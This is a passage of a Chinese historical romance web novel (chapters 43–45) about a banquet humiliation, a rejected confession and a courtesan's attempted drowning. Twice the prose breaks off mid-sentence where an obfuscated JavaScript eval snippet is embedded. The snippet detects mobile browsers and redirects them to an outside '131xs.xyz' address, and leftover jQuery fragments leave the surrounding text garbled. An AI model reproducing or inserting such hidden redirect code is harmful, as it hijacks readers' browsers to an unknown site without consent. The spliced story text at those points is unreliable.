宋华年抬头看向她,美眸中闪过迷茫、疑惑之色。待她看清归梦偷偷藏于手心的那块白玉比目佩,眼中便化为了惊奇、讶异。 她颤声道:“你、是你……你是……” 归梦微笑道:“是我,我是女子。姊姊,当日救你不得,现下你随我走吧!” 那日在莳花楼,她带了一整箱金饼想去为宋华年赎身,却迟了一步。此时此地,若是能救她脱离桓超与夏侯权等人的摆弄,也算能稍补她心中的罪恶感。 宋华年怔了怔,眼中透出一些惊讶与感动,然而却坚定地摇了摇头:“不,我走不得,你莫要管我了。” “你……为什么?”归梦十分意外,没想到她竟然这般执拗,一如当日那般不愿被解救。 归梦不能理解,她继续留在桓府那样一个龙潭虎穴是为了什么?留下,不仅是自己受辱,也会继续成为那些人羞辱明铮的工具。 明明她只要答应了,摘下面纱跟她走。这一切都可以平静地结束,把对她和明铮的伤害都降到最低。 此刻满厅的人都双目灼灼地注视着她二人。归梦焦躁起来,又压低声音接连劝了宋华年几句。可她一语不发,只缓缓摇头,似乎铁了心不走。 归梦又是生气又是着急。没办法了,非常之时当用非常之法。说不得,只能兵行险招了。 归梦凑近一步,轻声道:“姊姊,得罪了……”她说着趁宋华年不备,一把摘下了她的面纱。 宋华年猝不及防,“啊”地惊呼出声。众人业已看清她的容貌,均被深深地惊艳到了。端的是雪肤花貌,含悲带怯,好个美娇娘! 归梦朝她眨了眨眼,意思事已至此,不如顺势而为。 宋华年望着一脸天真诚挚的归梦,又看到席上桓超虽在笑,眼中却有寒意凝结。她美目中流露几分恐惧,当下盈盈拜倒,咬牙道:“不,这不作数。奴家并非自愿。” 她眼中的凄楚如同二月春寒,声音仿佛昆山玉碎:“多谢女公子青睐,奴家不能跟你走。” 归梦失望而不解。为什么?这本是个极佳的化解办法,可以解开一切的僵局。 可她依稀从宋华年复杂回避的眼神中读到了许多她不懂的东西。难道还有什么隐情? 桓超呵呵笑道:“岑丫头,你可太心急了。可惜,宋伊她不是一般的家伎……” 一番心意白费了。归梦无言,默默退回自己的座上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15638349|171994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王子野摩挲着手中的酒杯,笑着应和:“能做桓公府上的家伎,自然不一般。岑家女公子这一招,倒也让我们饱餐秀色。宋姑娘,果然绝色!” 他向来风流轻薄,少不得将视线多停留在宋华年身上。可是瞥见归梦纤秀倔强的背影,忽然没来由地感到索然无味了。 厅上几乎所有的男子的眼光,都粘在宋华年身上,只除了太子和明铮。 桓超作为宋华年的主人,见一众男宾都心猿意马,也不免有几分得色。他坐直了身子,手捋长须:“罢了,这劳什子面纱既然已经摘了就不必再戴。方才说到……是了,明铮,你看看她,可与你那无缘的未婚妻,有几分相似?” 他笑眯眯地看着明铮道:“老夫方才说过,若是相似,那倒可成全一段佳话了。” 桓超看起来一脸与人为善的样子。可若不是方才见过他饮酒谈笑间就要让宋华年与另一名家伎断手,归梦或许真的会相信他是真心爱才惜才,想送人情给明铮。 厅上男宾闻言,均面面相觑,互换眼色。很显然,现下明铮只需说一句“相似”,便可得到一位绝色美人,占得大大的便宜。但是这样一来,也免不了声名受损。 今夜在场的达官显贵不少,若是以讹传讹,或是坐实了这桓府家妓就是明铮曾经的未婚妻,那他恐怕一辈子也抬不起头来了。 所以对于明铮而言,这是极难的抉择。厅上的诸位男宾虽然不免有几分嫉妒明铮的艳福,但更抱着看好戏的心态。 夏侯权尤为兴奋,音调都变了:“明兄,这美人眼熟吗?” 明铮放下手中的茶盏,咽了口茶水,淡淡道:“似曾相识,或许见过。” 宋华年猛地抬起头来,怔怔看了明铮几眼,复又垂下眼帘,似乎不忍再听下去。 夏侯权喜道:“这宋伊姑娘原是莳花楼的头牌姑娘,花名‘锦瑟’。” 明铮“哦”了一声:“是吗?听上去夏侯兄更为熟识。” 席上有人闻言发出吃吃的笑声。 “宋伊,走近些,再给明大人敬酒,让他好好看看你。”夏侯权冷冷命令道。 宋华年无法,只得眼睁睁看着明铮又饮下一大盏烈曲。 夏侯权继续咄咄逼人地追问:“明兄,你方才说‘似曾相识’,那到底是在哪里见过她?是莳花楼呢?还是她就是你那逃婚的妻子呢?” 明铮长叹一口气,有些醉意朦胧,他作出努力思索状,懒懒答道:“大概……是上辈子见过吧!” 夏侯权见明铮忽地不正经起来,一味地语焉不详,怒从心起正欲驳斥,忽又听明铮接着道:“不对,也可能是梦里见过呢……” 他懒懒一笑,起身向桓超拱手:“恐怕要辜负桓公的美意了。明铮确实自小便与广陵宋员外的幺女定了亲,但是自宋家搬离高平,明铮便再未见过她。或许也正因久别生疏,是以她才会在出嫁之时设法逃离另觅良缘。一别数年,我脑海中唯余她稚龄之时的笑貌。纵然她站在我面前,我也不一定认得出她。” 众人恍然之余又有些失望。原来竟是这样,婚嫁前新人不得相见本是习俗,谁能想到明铮与未婚妻竟是那么多年不曾见过了。 归梦心头漫过一丝悲凉。 明铮,他果然是理智而克制的。这世上大概没有谁能让他奋不顾身不顾一切吧。 可她又能指摘他什么? 此时此地他选择装作不识明哲保身,是对的。 归梦看到宋华年原本紧张绷直的背脊此时也松懈下来。她大概也松了口气吧,只是不知她听到明铮这番话是难受还是释怀。 桓超对于这样的回答也颇感意外,一时有些尴尬,只好打了个哈哈:“不妨事。你此次田猎拔得头筹,老夫作为主人合该嘉奖。若你有意……”话中充满试探之意。 明铮恭谨回道:“明铮向来寒素,只怕委屈了美人。” 夏侯权嗤笑一声:“明兄这话听起来倒像是在嫌弃宋伊姑娘,你莫不是嫌她出身低贱?” 43. 相留醉 夏侯权一脸玩味,仿佛在暗示:你明铮的出身也不算高贵。 明铮淡淡道:“在下以为‘人的高低贵贱从来只关乎品性,而非出身’。” 这几句话答得不卑不亢,把夏侯权噎得半死,他只能轻哼一声,忿忿地转过头。 王子野见状笑道:“明兄可是还在为从前之事伤心吗?据小弟所知,你至今不曾再婚配,甚至身边连一房暖床叠被的姬妾也无。且不论这宋姑娘与你那未婚妻相似与否,既然是同姓也算是有缘,况且桓公也已开口了。你倒不如纳了她,这样府中也好有个知冷知热,洒扫侍奉的人,你说呢?” 席上诸人多有趁机附和拱火的:“是啊,男子多几房妾室本就是稀松平常的嘛!何况还是这样的美人……” 明铮微微一哂:“多谢王兄指点,可惜小弟并非同道中人。” 归梦扑哧一声笑出了声。 明铮平日看着风度翩翩温文儒雅,没想到讽刺起人来竟这样幽默风趣还不留情面。 席上云蔷、张绮彤等女娘也是忍俊不禁。就连王如芝,也不管自家哥哥吃瘪,只顾着崇拜明铮的口舌之利了。 萧益适时出言缓和:“远书的婚事孤一直放在心上,近日正在择定人选,尚需和他家姊商议一下。” 王子野俊眉轻挑,笑道:“那便恭喜明兄了。只是明兄务必把新娘子看好了,若是再被逃了婚,那可是梅开二度了。” 明铮像是没听到一样。萧益则是沉下脸来:“够了,今夜事关个人私隐的话题到此为止吧。”他素来仁厚,此时语气含了几分冷然,显然是已动了怒了。 桓超是极圆滑老到的,手一挥,所有的舞姬歌伎均纷纷退了下去。 众人又立刻转了话头聊起别的事来。 归梦看到宋华年悄无声息地退出了大厅。她的背影萧索而落寞,让人望而生怜。 一轮圆月当空。 白日虽才下过雨,夜里却仍有皎洁的月色。 桓府别院中有一片竹林。竹林边是一小片澄澈的湖泊,湖光月色两相辉映,美不胜收。 朗然清明的月光下,明铮孑然而立,一袭青衫猎猎。 晚来风急,竹林湖边景致虽好,却格外寒凉,吹得人身上冷浸浸的。 “你还要尾随我多久?”黑暗中,明铮淡淡开了口。 四周并无一人。 话音刚落片刻,他身后的竹林中钻出了两名女子。 归梦和紫芽面面相觑,不知明铮是何时发现她们的。 归梦涩声解释道:“我只是看你今夜饮了不少酒,又未带着随从,担心……” “我已服过解酒丸。” “是吗?那、那就好。”归梦讪讪道。她早该知道,从她身份被他发现的那天起,明铮对她,只会这般不假辞色。如那一日马车上的那般交心恳谈,是再也不会有了。 可是纵然知道,她还是忍不住地被他吸引,忍不住地想靠近,忍不住地想掏出一颗热腾腾的心,即使总是被冰得浑身发抖。 她生来尊贵,身边的人莫不顺着娇惯着她。也许真如王子野所说,她是顺心的日子过久了,是以头脑发昏犯贱了吧。 明铮淡漠的态度令归梦望而却步,她想转身迈步离开,可是却怎么也提不起步伐。 总是如此的短暂,寥寥几面,浅短的交谈……她不甘心! “宋姊姊她……或许,我可以试着想办法把她救出来。”归梦上前几步,走到明铮的侧后方,昏暗中借着一点月光去窥探明铮的脸色。 “人必自救,而后人救之。她不需要你救。更何况……”明铮回头看了她一眼:“这是我与她之间的事,不劳旁人插手。”说完转身就要离去。 归梦一着急脱口道:“三年前我就插手了,现在自然要插手到底!” 明铮一震,停下了脚步。 站在远处的紫芽也同样不解。 归梦索性一股脑全说了出来:“三年前,在高平,我打扮成男童随表兄去参加你的婚礼……”当下把当年自己如何引着宋华年从后门离开,在建康又如何处心积虑去结识他全说了出来。 她生性光风霁月,心直口快。这件事、这些话一直憋在心里甚是难受,此时说了出来只觉得如释重负。 “所以,我是罪魁祸首!是我把你们生生拆散,把她害到这个境地的!我每每看到宋姊姊现在的境况,还看到你因此事而被那些人嘲笑,我心中便不是滋味。对不住,今夜宴上我本想帮忙,谁知还是这样的结果……” 归梦满心歉疚。 今日明铮、宋华年所遭受的羞辱,至少她要负一半的责任。 明铮始终静静地听着,并无惊愕。 归梦本以为明铮知晓一切会很愤怒。她宁可明铮冲她发火,也不愿意他不发一语,望来像一尊冰冷的玉雕。 她咬了咬嘴唇,焦灼又恳切道:“就让我再为你们做些事吧,就算是稍许弥补我曾犯下的错。”她缓缓从怀中掏出那枚比目白玉佩,摊于手掌递到明铮面前,满面歉意:“当初我谎称这玉佩是我从集古斋中购得。其实……是三年前宋姊姊赠予我的。” 半晌,明铮眼神漠然地扫过眼前的那枚玉佩,唇角浮起一丝讥嘲:“人已至此,玉何独存?这于我已是无用之物,随你处置。” 归梦呆呆地看着他,手僵在了空中。 方才他得知真相的时候并无太大触动,直到看见那枚玉佩才颇为动容。 她不晓得,这一对比目白玉佩,是明铮亲手画了样子又寻了上好的羊脂玉料托巧匠雕成的。两块玉佩本无区别,只是鱼尾上的纹路数不同。一为七条,是“宋”的笔画数,一为八条,是“明”的笔画数。 当初在归梦身上见着这块玉佩,他只当是工匠私下照着他给的样子又制出了新的玉佩在市面上贩售,抑或是宋华年把玉佩变卖了,玉佩易主。 却不曾想,在三年前,大婚的那一日,她就已经舍弃了他们的定情之物! “你……你不怪我吗?”归梦小心翼翼地问。 明铮的笑容浅淡得难以捕捉:“我为何要怪你?当日决意逃婚的是她。至于今夜宴中……我当初既入朝堂,便早知会被士族排挤,业已习惯了。再有,是我自己识人不清,不辨男女,也不能怪你欺瞒。” 归梦秀眉舒展,破颜一笑:“既然你不怪我,那便不要再这般对我。至少,我们还是朋友吧?” “我们是不可能成为朋友的。”他的声音比冬日的寒风还要冰冷,又似一把尖锐的利刃猛地戳进她的心,扎得她浑身一颤。 “……为什么?你与我表哥谢炅、与祖遐不也是朋友吗?为什么偏偏不能与我为友?!”她不甘地追问。 明铮站在月影里,整个人恍若一株雪地青松。 “我不喜欢自以为是的女人。”他缓缓转过身来,面若寒霜。 归梦身子一震,禁不住后退一步,芳心如坠冰窟。 自以为是……自以为是……他认为她是个自以为是的女人。他不喜欢她!不喜欢她! 纵然是有些冷淡疏离,可以往每次他对她,都还算是客气礼貌的。直到此时,他话中的寒意将她冻得喘不过气来,快冻得僵毙了…… 她喃喃重复道:“自以为是?原来你竟是这么看我的……”她蓦地提了口气,双眼睁亮:“是我不该自以为正确地去插手你和宋姊姊的事。我以为我可以帮到你们。但我从未想过你们是否需要,是我太擅专、太逾越了……” 她不相信她只是一厢情愿。明明从前他们也曾把酒谈心,一起笑过闹过。那时,他的眼中有数不清的温柔和宠溺。为何就在他知晓她的真实身份之后就可以彻底抹杀了呢? 归梦走到明铮面前,直视着他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645571|171994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双眸:“明铮,我心悦你。” “自从三年前,在婚礼上看到你。你得知宋姊姊弃你而去,纵马去追。漫天的烟花下,我看到你眼中透出的伤心失意。我的心中便有了你。我无意间改变了你和宋姊姊的人生。可是我又想,也许是天意,让我这样遇见你。谁知我还来不及寻你,便随父母离开了高平。初春时,我在建康城看到一个人的背影很像你,便到处去寻。找到你后我费尽心机去接近你。这些日子与你相处,十分快乐。我就像是着了魔了,虽然我总觉得你离我忽远忽近的,可我就是放不下你!我想,我就是无可救药地喜欢你了!” 归梦仰着头,秀目灼灼凝视着明铮。月色光辉投在她清丽的面庞上,更添一层奇异圣洁的美。 她续道:“你从豫州回来后,我便想主动坦承我的身份,把这番话告诉你。可谁知七夕那一夜,我们在船上招来的乐伎竟然是宋姊姊……我看得出你心神不宁,甚至你等不及听我表明身份就匆匆离去了。我知道你心中还未彻底忘记她。我真羡慕她,能被你那样喜欢过。她遇人不淑沦落风尘,我想救她出去。可我又忍不住会想,你到底还喜不喜欢她?她一出现,我与你之间,是不是就再无机会了?” “后来,我追着问出了你的想法。你说你已经割舍了这段情。我知道,山河动荡,你胸怀社稷,你很难再为哪个女子动心。可就算再难,我也会等你。我知道你是碍于门楣,不敢与我接近。可是你毋需担心……” 明铮冷冷地打断:“女公子,你莫太自我陶醉了。你喜欢我,喜欢我什么?是我的容貌吗?”他说着微微倾近一些,俊美无俦的面容殊无丝毫热气:“一个尚未及笄的黄毛丫头,懂得什么是喜欢?” 归梦一双大眼中渐渐蓄满泪水,手指忍不住攥紧了衣襟下摆:“我不否认我喜欢你的容貌。可是……” “你亲眼看到锦瑟的下场,难道还不能够警醒?‘女之耽兮,不可说也’……”他轻笑,身上酒气混着解酒药的草药气息裹挟而来:“你莫非想做第二个锦瑟?嗯?” 归梦闻言有一瞬间的迷茫,但很快坚定地摇摇头:“不!我知道你不会的。你不会让爱你的女子伤心,你不会是负心薄幸之人!” “你怎知我不是?莫要以为你很了解我。负心,总好过无心……”他面上泛起一丝嘲弄:“你若是把心放在我这个无心人身上,你便是天下最愚蠢的女人!更何况……” 他轻垂眼帘,居高临下地看着她,一字一句道:“人贵自知。尘土慕青云,可笑不自量。” 风放肆地穿林打叶,归梦不自觉地打了个寒噤。 她不记得明铮是何时离去的。脑海中只不断回响着他那句冷冰冰的嘲弄——“尘土慕青云,可笑不自量!” 她知道自己不够美,在士族女子中不够出挑。更遑论与宋华年、诗安相提并论。 以明铮的容貌、才学,无论走到哪里,都会引来大批女子的仰慕。她不是不自卑的,是以心中从来不敢去想她是否足以与明铮相配的问题。 每每看到他如谪仙般的风姿,总是不由自主地自惭形秽。 紫芽默默在旁陪着,几次想开口劝归梦回去,莫要吹冷风了。但看到她这副恍恍惚惚失魂落魄的样子,话到嘴边又咽了回去。 也不知过了多久,不远处传来窸窸窣窣的声音,似是有人从竹林的另一边来了。 紫芽忍不住推了推归梦。 来人一身白衣如雪,纤巧的身姿在黑夜中如白雾轻浮。 紫芽低声惊道:“是那位宋伊姑娘呢!” 归梦恍惚望去,宋华年仍是那身白衣,她翩跹而来,静静地穿过竹林,立在波光粼粼的湖边。月光下的她,美得仿佛月宫仙娥,又似一缕烟尘,风一吹便要飘忽着乘风而去。 她痴痴地望着湖面出了一会儿神,蓦地,身子直直地朝湖中倒了下去。 44. 妒娥眉 平滑如镜的湖面“扑通”溅起了水花。 归梦本还怔怔的想着明铮,听到这落水的声音才如梦惊醒。 “梦娘,宋、宋姑娘投湖了!”紫芽惊叫道。 二人急奔至宋华年落水的那一侧的岸边,只见湖中扑腾泛起的水花越来越小,那白色的人影渐渐下坠。 归梦慌乱道:“你快去唤人来!快去!” 紫芽转身小跑着朝林外去了。 归梦不识水性,一筹莫展,焦躁地在湖边走来走去。忽见地上有一支折断了的一尺来长的干黄细竹,她顾不得许多,捡起握在手中,探身出去将那竹枝伸长了,试图去递给宋华年。 可那竹枝长度不够,根本无法伸到宋华年跟前。 归梦心急得直顿足,行动间衣襟松动,一件玄色的物事从她怀中滑落,“咚”地一声落入湖中,浮了起来。 是她绣好了准备送给明铮的香囊! 归梦急忙弯腰伸手去捞,不想下过雨的湖边泥土松软湿滑,她足底一滑,站立不住,顿时一头栽进了水中。 冰冷彻骨带着些许腥气的湖水从四面八方涌来,钻入她的口鼻。 归梦欲呼救而不得,越挣扎便越往下沉,慢慢失去了意识。 朦胧中似乎有人来到了她的身边,一只有力的手托起了她。她如抓住救命稻草般下意识地紧紧抓住了他。 是她的错觉吗?鼻息间仿佛闻到了熟悉的沉水香的气味…… 耳边还依稀听到低沉温柔的呼唤:“小梦……小梦!” 明铮,是你来了吗? 她感觉到那双手挟带着她回到了陆地上。胸腔口鼻中灌入的水呛得她难受至极,忍不住猛烈地咳嗽起来。 归梦渐渐恢复了意识。她缓缓睁开眼,映入眼帘的是明铮满是关切的脸。 “你还好吗?”他俊逸的面孔湿漉漉的,还有水珠顺着挺拔的鼻尖向下滴。 真的是明铮救了她,这不是梦。 方才生死悬于一线的恐惧漫了上来,又想到他那句“尘土慕青云”……委屈、伤心、失意、怨怼,各种情绪一齐来袭,归梦“哇”地一声大哭起来,赌气叫道:“你……走开!我不要你管!”泪水汹涌而下,哭得急了又是一阵咳嗽。 紫芽匆匆脱下外裳给归梦披上,又是焦急后怕又是担忧心疼,忍不住泣声道:“梦娘是要吓死我!你若是为了救一个伎……你若是出了什么差池,大家是个死!” 明铮不再看归梦,起身走到一旁:“祖兄,烦你照看她一下。” 原来祖遐也在,正在一步之外对宋华年施救。此时听了明铮的话,走到了归梦的身边。 他眸光幽暗,默默看着归梦哭泣,忽而漫声道:“你是打算把所有人都招来看你落水的样子吗?” 这话格外奏效。 归梦立时忍住哭泣,狠狠剜了他一眼。 他却一副毫无所谓的样子。 宋华年在地上静静躺着,像是一尊冰冷毫无生气的玉人,浑身湿透,青丝凌乱地贴在她苍白的面颊上,人事不知。 明铮用手探了探她颈上的脉搏,又探了探鼻息。 祖遐问道:“如何了?” 明铮道:“方才幸好你及时将她腹中之水控出。只是在水中太久,她已冻晕过去,须赶紧换身衣服暖和起来。”说着伸出长臂将宋华年抱了起来。 湿透的衣服像冰霜一样粘在身上,夜风吹来,寒意上涌,归梦看着明铮抱着宋华年,心里忽地像被针刺了一般,嘴唇颤动想说什么又说不出,浑身瑟瑟发起抖来。 “还不带她回去。”祖遐沉声对紫芽说,复又叮嘱道:“洗个热水澡,用些姜汤。” 归梦被紫芽扶着站起,一双眼却只盯着前方明铮的背影。她一咬牙,快走几步叫住了明铮:“等等!” 明铮停住脚步,看着她。 她咬了咬嘴唇:“还是……带她到我的住处吧。”说着吩咐道:“紫芽,去跟桓大人回一声,就说……就说今夜我找宋伊姑娘请教笛艺。” 紫芽端着刚熬好的姜汤走进暖阁,看到已换好衣裳,此时裹着被子捧着手炉怔怔出神的归梦,不觉叹了口气。 她轻轻连唤了归梦好几声,才把她唤得回过神。 “梦娘快喝吧,这姜汤须得热热的喝下去才能散了寒气。”紫芽用银勺轻轻搅动着热气腾腾的姜汤,絮絮劝道。 归梦垂下眼眸,忽地低声问道:“紫芽,我是不是很惹人讨厌?” 今夜的事,紫芽已经原原本本地说与她听了。 万幸,紫芽急急奔出竹林便撞上了明铮与祖遐,只有几个桓府的侍从见到了紫芽惊慌失措的样子,虽有些疑心,但并不曾声张。想来今夜她与宋华年双双落水的事不会传到旁人耳中。 明祖二人赶到湖边的时候,归梦正在下沉,宋华年则是已被湖水淹没。 明铮先就近将她送上岸,又下水找寻宋华年。 祖遐身上有伤,是以明铮执意不许他下水,只让他在岸上接应。 归梦心中说不出是何感觉。不论出于什么原因,总之,他选择了先救她,又在她清醒过来时陪在她身旁,让她第一眼便看到了他,这就足够宽慰她了。 可是想到自己那么凶巴巴地叫他走开,又想到他那句充满讥诮的“尘土慕青云”,她又羞愤难当。 紫芽摇摇头,认真答道:“怎会?梦娘在我心中是顶可爱的。你出身尊贵却从不颐指气使随意折辱下人,待人随和。从不让我们自称‘奴婢’,待我和丹娥她们就如同姊妹一般。府中的丫鬟、家丁无有不喜欢你的。” 归梦无言苦笑,觉得这些实在也算不上多大的优点,又问道:“那我的缺点呢?” 紫芽苦思一阵,小心翼翼道:“若说缺点也是有的,梦娘有时太过任性冲动,脾气固执,认准了的事便不听劝,太过自我。这也是主母最担心的……” “梦娘你还记得吗?幼时你去沛国公府中作客,见到一只玉雪可爱的波斯猫,便缠着主君说也要养一只。主君便费心为你寻来一只波斯猫。你喜爱异常,日日都要与它玩耍。可那猫儿性子极是冷淡,到了春天又日夜嚎叫,吵得你无法休息,还抓伤了你。最后那猫儿被府外的野猫勾走,便一去不回了……” 归梦接着道:“是啊,那时我伤心至极,吵着闹着让父亲母亲去把猫儿找回来。可原来,不是我的终归是留不住的……” 也许,她努力去追寻的,并不适合她。又或许,她在乎的是这个追逐的过程。得到之后,会觉得不过尔尔,只是一时兴起罢了。 难道,明铮于她,便如当年的那只波斯猫一般吗? 归梦接过姜汤一饮而尽,被那热辣滚烫的味觉刺激得秀眉拧起,眼角似乎也泛起了一点泪花。 紫芽忽地想起什么:“方才祖大人差人来过……” “做什么?” “问姑娘与宋姑娘如何了,顺便送了一些驱寒活血的药物来。” 他差人来问?恐怕是明铮想知道吧。那些药大概也是懂得药理的明铮挑的。 归梦问道:“她怎样了?” “方才我去小厨房的时候经过厢房看了一眼,还是沉沉睡着。梦娘放心,我叫人看顾着呢。” 归梦微一思忖,掀了被子起身:“我去看一眼。” 宋华年美目紧闭,尚未干透的长发散落在枕间,嘴唇苍白干燥,唯有 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据紫芽所说,今夜宋华年似乎是有意投湖。她一定是今夜悲愤已极万念俱灰才会选择走上绝路。 凝视着她苍白柔美的侧颜,归梦不由得怜心大起,忍不住轻轻握住她的柔荑,轻声道:“往者不谏,来者犹可追。在这世上并非无人关心你。这些药,都是他差人送来的。你若不喝,岂不再次辜负了他?” 不知宋华年是否迷迷糊糊听了进去,紫芽与归梦二人一道,终将药汁一口口喂了进去。 如此折腾了半宿,归梦确认宋华年的高烧已经退了,才在紫芽的劝说下回房歇息。 因着乏累已极,直睡到次日日上三竿方才醒转。归梦坐在梳妆台前,任由紫芽给自己梳头。她伸手沾了点薄荷油揉了揉有些胀痛的脑仁。 紫芽自镜中觑着归梦的脸色,小声道:“宋姑娘求见。” 归梦停下手:“她醒了?” “是,她来了好一会儿了,知道梦娘还未起身,便一直在偏厅候着。梦娘可要见她吗?” 归梦默然片刻,道:“她既好了,便着人送她回去吧。”紫芽应声去了。 “等等!”归梦叫住紫芽:“去找个锦盒来。” 她随手从妆奁中拿了一支翠玉钗,又将那块白玉比目佩也一道放进锦盒,递给紫芽:“就说这是我给她指点我笛艺的谢礼。” 就这样吧,将这块玉佩还与她。从此,明铮与宋华年之间的事便和她无一丝牵扯。 紫芽很快回来,手上仍拿着那个锦盒。归梦诧异地打开,只见锦盒里的东西一件不少,只是多了一张字条。 字条上是几行娟秀的字迹:“妾身似飞絮,飘如陌上尘。浮萍聚还散,安知会有期?” 紫芽补充道:“宋姑娘说‘无功不受禄’,她晓得梦娘你晚些便要启程回去,只想再和你说几句话。” 待她回到家中,宋华年在桓府。世事无常,人生譬如朝露,今朝一别,不知焉有再见之日? 她心一软,微一犹豫,说道:“请她进来吧。” 若说她对宋华年毫无介怀那是假的。七夕那一夜明铮失态地先行离开,昨夜他抱着昏迷的宋华年的模样,还有他特地差人送了对症的药材来……这桩桩件件,都深深印在她的心里。 尽管明铮不愿在众人面前承认宋华年的身份,亲口否认了与她的关系。可是,她确实牵动了他的情绪。他或许不会再和她在一起,但是她在他心中依然有不可磨灭的位置。 可是,佳人何辜?他们本就相识在先。她无论如何也不该因自己被明铮拒绝而迁怒于宋华年。 再见一面,也不枉相识一场。 45. 空自许 宋华年被紫芽引着走进暖阁。她换过一件紫芽的素色薄袄,脂粉不施,容色有些憔悴却不失楚楚风姿。走上前来,恭恭敬敬地朝归梦行了个礼。 归梦示意她起身,又命紫芽领着其余侍女下去。 方才她既已想通了,便仍是一如之前般和和气气地同宋华年说话:“姊姊看着身子大好了。” 宋华年美目透着感激之色:”多亏了你细心照料。我已听侍女说了。昨夜你看顾了我半宿……” “不必挂怀。”归梦顿了顿,问道:“昨夜姊姊到底是失足落水还是不想活啦?” 她心里虽已知道答案,却还是想当面点破问个究竟。 宋华年唇边浮起一抹清浅略带苦意的笑:“这已不重要了。‘一病如新生’,在鬼门关走了一遭,现下我已想清楚了,以后会好好活着。纵使……”她笑笑:“纵使无人在意,我也要为自己活着。” 归梦颔首道:“正当如此。这我便放心了。我想……他也会放心了吧。”说到明铮,她声音渐次低了下去,不觉低下头,心中又是一阵惆怅。 宋华年察言观色,试探问道:“你……可是喜欢他?” “你怎知道?”归梦脱口而出。话刚出口便发觉这是承认了,免不了有些羞赧。 宋华年微笑道:“自从昨夜宴会上我得知你是女儿家,又看到你提起明铮的神情……昨夜我昏迷着,可并不糊涂。你说的那些话我一字一句都听在耳中。前前后后的许多事也都串联起来让我想明白啦。你我不过萍水相逢,你固然是任侠仗义同情我的遭遇。可你那么不顾一切地帮我,更是因为你对明铮的愧疚与爱慕吧?” 归梦不置可否,只是顺着往下说:“那日我去了莳花楼要为你赎身,鸨母却说你不在,欺骗于我。其实,那时你已在桓府了?” “我是被夏侯权送给桓超的。没想到,他们会查到我的身世,借我来羞辱明铮。” 归梦试探道:“你……不气他装作不认识你吗?” 宋华年摇摇头:“他若真的不顾一切地承认过去与我的关系,只会让我和他都陷入困境。昨夜桓超并非真的想砍掉我的手,只是在试探明铮。他若是流露出一丝一毫对我的在意,桓超一党会借此大做文章,甚至用我来胁迫他。他只有装作完全不认识我,他与我才会安全。” 归梦恍然。她竟是这般愚钝,这样简单的道理都想不透,甚至还暗暗怪明铮的冷漠无情。 现在想来,明铮说她“自以为是”也算是评价到位。 也只有像宋华年这样聪慧灵巧,善解人意的女子,才能配得上明铮吧。 扪心自问,如果易地而处,把她换到宋华年的位置,她未必能接受明铮装作不认识自己。那种感觉,想想就犹如万箭穿心之痛。 罢了,横竖他也不喜欢她。世上没有牛不喝水强按头的道理。 想到此处,她伸手取过那个锦盒递给宋华年:“这玉佩物归原主,姊姊还是自己交给他吧。” 宋华年并不接过,只是直视着她的眼睛:“难道,你不是真心喜欢明铮吗?” 归梦苦笑道:“可他眼中心中都没有我。纵使你和他相见不相认,你在他心中还是重要的。毕竟,你是他曾经明媒正娶的妻子……” 她叹道:“我真羡慕你,他曾那样深深喜欢过你……” 宋华年的眼底掠过一丝懊悔与凄惘:“我与他并未拜过天地,也不曾饮合卺酒,更不曾入洞房,算不得他的妻子。他是不是真的深深喜欢过我,那时我也是怀疑的……”她见归梦神色感伤,解释道:“你不晓得,明铮自小便是这样冷静自持的性子,我从未见过他失态。他容貌出众,每每出门总能引来无数侧目,当然还有女娘们的倾慕。可他始终克己复礼,从不逾矩。别人嫉妒他才华过人,他也不以为意。 幼时,我俩比邻而居,我缠着他让他多陪我玩耍一会儿他也不肯,必得等每日的功课做完。他每日要花两个时辰读书写字,两个时辰习武练剑。他家教极严,自己也好学上进,样样都是最拔尖出挑的。我是家中的幺女,全家都宠着我惯着我,唯独他……虽然他对我也极好,可我在他心中再大也大不过那些他坚守的规则,他从不肯为我破一破例。你当知道‘上品无寒门,下品无士族’。因着他出身寒门,他更要比旁人刻苦。那时,我盼着嫁与他后,时时刻刻与他在一处。可我知道他胸中有丘壑,岂是耽于儿女私情之人……” 归梦听着宋华年讲述她与明铮的过去。虽然已从明铮的口中听说了一些,可从宋华年的角度听来又是不同的感觉。 “父亲升迁,我举家搬去了广陵。与他分别的第一年,我发了疯似地想念他。我怨他为何一年才来看我一次。每次只停留数日,根本无法填满我内心的孤独与思念。他每次走后,我的心绪都低落到极点。我盼着时间快些过,待得他三年孝期过去,我们便可以长厢厮守了。直到那个改变我一生的男子出现……他平凡无奇,与明铮相比,便如尘土与青云……” 归梦一颗心“砰砰”直跳,她没想到宋华年竟愿意将她那段不堪回首的过往说出。 听到那句“尘土与青云”又忍不住想起了明铮昨夜冷漠如冰的谑笑…… 宋华年道:“他是个屡第不中的穷书生,在宋府做花匠赚些活计。一日,我逛花园的时候看到他正在栽种明开夜合花,忍不住驻足观望。因为那明开夜合花暗含了明铮的姓氏,花朵可爱,香气淡雅,是我与明铮都喜欢的花。我们还曾约定了,待我过门之后,就一同在书房的窗前亲手栽下两棵明开夜合花……” 难怪!那日她初到明家,看到明铮的书房前的两株明开夜合花,一时好奇想多问几句,他却将话题转移开了。没想到,他竟连建康的家中也要栽上这两棵树。归梦心中顿时涌起淡淡的酸涩。 宋华年回忆起往昔的美好情愫,不觉声音有些哽住了。 